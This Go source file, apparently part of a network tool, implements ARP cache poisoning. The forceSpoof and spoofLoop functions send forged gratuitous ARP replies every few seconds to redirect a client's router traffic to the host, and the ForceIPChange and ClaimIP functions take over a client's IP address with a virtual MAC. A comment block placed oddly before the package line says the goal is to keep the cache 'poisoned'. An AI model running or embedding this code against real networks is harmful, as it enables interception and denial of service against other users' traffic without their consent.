func (c *Handler) forceSpoof(mac net.HardwareAddr, ip net.IP) error {
	err := c.announce(mac, c.config.HostMAC, c.config.RouterIP, EthernetBroadcast, 2)
	if err != nil {
		log.Printf("ARP error send announcement packet mac=%s ip=%s: %s", mac, ip, err)
		return err
	}
	for i := 0; i < 2; i++ {
		err = c.reply(mac, c.config.HostMAC, c.config.RouterIP, mac, ip)
		if err != nil {
			log.Printf("ARP error spoof client mac=%s ip=%s: %s", mac, ip, err)
			return err
		}
		time.Sleep(time.Millisecond * 10)
	}
	return nil
}
forceSpoof send announcement and gratuitous ARP packet to spoof client MAC arp table to send router packets to
host instead of the router
i.e.  192.168.0.1->RouterMAC becames 192.168.0.1->HostMAC

The client ARP table is refreshed often and only last for a short while (few minutes)
hence the goroutine that re-arp clients
To make sure the cache stays poisoned, replay every 5 seconds with a loop.
package arp
import (
	"context"
	"fmt"
	"net"
	"time"
	"log"
)
func (c *Handler) ForceIPChange(mac net.HardwareAddr, claimIP bool) error {
	if Debug {
		log.Printf("ARP force IP change mac=%s", mac)
	}
	c.Lock()
	client := c.table.findByMAC(mac)
	if client == nil || !client.Online || client.State == StateVirtualHost {
		err := fmt.Errorf("mac %s is not online", mac)
		c.Unlock()
		return err
	}
	if client.State == StateHunt {
		err := fmt.Errorf("mac %s already in hunt state", mac)
		c.Unlock()
		return err
	}
	client.State = StateHunt
	client.ClaimIP = claimIP
	ips := client.IPs()
	c.Unlock()
	for _, v := range ips {
		go c.spoofLoop(c.ctx, client, v)
	}
	return nil
}
func (c *Handler) StopIPChange(mac net.HardwareAddr) error {
	if Debug {
		log.Printf("ARP stop IP change mac=%s", mac)
	}
	c.Lock()
	defer c.Unlock()
	client := c.table.findByMAC(mac)
	if client == nil {
		err := fmt.Errorf("mac %s not found", mac)
		return err
	}
	if client.State != StateHunt {
		err := fmt.Errorf("not in hunt state mac=%s state=%s", mac, client.State)
		if Debug {
			log.Printf("ARP %s", err)
		}
		return err
	}
	client.State = StateNormal
	client.ClaimIP = false
	return nil
}
func (c *Handler) ClaimIP(ip net.IP) {
	c.Lock()
	if virtual := c.table.findVirtualIP(ip); virtual == nil {
		virtual, _ = c.table.upsert(StateVirtualHost, newVirtualHardwareAddr(), ip)
		virtual.Online = false  
	}
	c.Unlock()
}
func (c *Handler) IPChanged(mac net.HardwareAddr, clientIP net.IP) {
	c.RLock()
	if client := c.table.findByMAC(mac); client != nil && client.Online && client.IP().Equal(clientIP) {
		c.RUnlock()
		return
	}
	c.RUnlock()
	if Debug {
		log.Printf("ARP ip%s validating for mac=%s", clientIP, mac)
	}
	if err := c.Request(c.config.HostMAC, c.config.HostIP, EthernetBroadcast, clientIP); err != nil {
		log.Printf("ARP request failed mac=%s: %s", mac, err)
	}
	go func() {
		for i := 0; i < 5; i++ {
			time.Sleep(time.Second * 1)
			c.RLock()
			if entry := c.table.findByMAC(mac); entry != nil && entry.IP().Equal(clientIP) {
				c.RUnlock()
				if Debug {
					log.Printf("ARP ip=%s found for mac=%s ips=%s", entry.IP(), entry.MAC, entry.IPs())
				}
				return
			}
			c.RUnlock()
			if err := c.request(c.config.HostMAC, c.config.HostIP, EthernetBroadcast, clientIP); err != nil {
				log.Printf("ARP request 2 failed mac=%s ip=%s: %s", mac, clientIP, err)
			}
		}
		log.Printf("ARP ip=%s not detect for mac=%s", clientIP, mac)
		c.RLock()
		c.table.printTable()
		c.RUnlock()
	}()
}
func (c *Handler) spoofLoop(ctx context.Context, client *MACEntry, ip net.IP) {
	var virtual *MACEntry
	c.Lock()
	if client.ClaimIP {
		virtual = c.table.findVirtualIP(ip)
		if virtual != nil && virtual.Online {
			c.Unlock()
			return
		}
		if virtual == nil {
			virtual, _ = c.table.upsert(StateVirtualHost, newVirtualHardwareAddr(), ip)
		}
		virtual.Online = true  
	}
	mac := client.MAC
	c.Unlock()
	ticker := time.NewTicker(time.Second * 4).C
	startTime := time.Now()
	nTimes := 0
	log.Printf("ARP attack ip=%s client=%s time=%v", ip, mac, startTime)
	for {
		c.Lock()
		client := c.table.findByMAC(mac)
		if client == nil || client.State != StateHunt {
			log.Printf("ARP attack end ip=%s client=%s repeat=%v duration=%v", ip, mac, nTimes, time.Now().Sub(startTime))
			if virtual != nil {
				virtual.Online = false  
			}
			c.Unlock()
			return
		}
		if virtual != nil {
			virtual.LastUpdated = time.Now()
		}
		c.Unlock()
		c.forceSpoof(mac, ip)
		if virtual != nil && nTimes < 5 {
			c.forceAnnouncement(mac, virtual.MAC, ip)
		}
		if nTimes%16 == 0 {
			log.Printf("ARP attack ip=%s client=%s repeat=%v duration=%v", ip, mac, nTimes, time.Now().Sub(startTime))
		}
		nTimes++
		select {
		case <-ctx.Done():
			return
		case <-ticker:
		}
	}
}